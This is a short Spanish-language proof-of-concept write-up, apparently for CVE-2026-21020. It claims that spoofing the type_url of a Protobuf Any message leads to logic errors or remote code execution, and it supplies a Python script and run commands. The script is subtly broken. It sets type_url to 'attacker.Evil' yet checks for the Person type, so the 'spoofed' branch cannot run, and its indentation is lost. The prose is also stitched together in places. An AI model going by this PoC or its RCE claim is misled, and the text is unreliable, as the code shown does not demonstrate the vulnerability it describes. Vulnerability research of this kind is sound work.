
PoC para CVE-2026-21020, que demuestra la deserialización polimórfica de tipo Any de Protobuf, donde el type_url controlado por el atacante puede provocar errores de lógica, RCE o escalada de privilegios.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Un servicio utiliza el tipo Any de Protocol Buffers para encapsular mensajes y los desempaqueta dinámicamente usando el campo type_url sin validar el tipo esperado. Un atacante puede enviar un mensaje con un type_url manipulado que apunte a una clase de mensaje peligrosa (o no intencionada), provocando errores de lógica o ejecución de código.
type_url controlado por el atacante sin una lista blanca.Ejecute la simulación:
pip install protobuf
python proto_vuln.py
Esto demuestra que el tipo Any puede ser suplantado; si el código carga dinámicamente la clase desde type_url, podría conducir a RCE.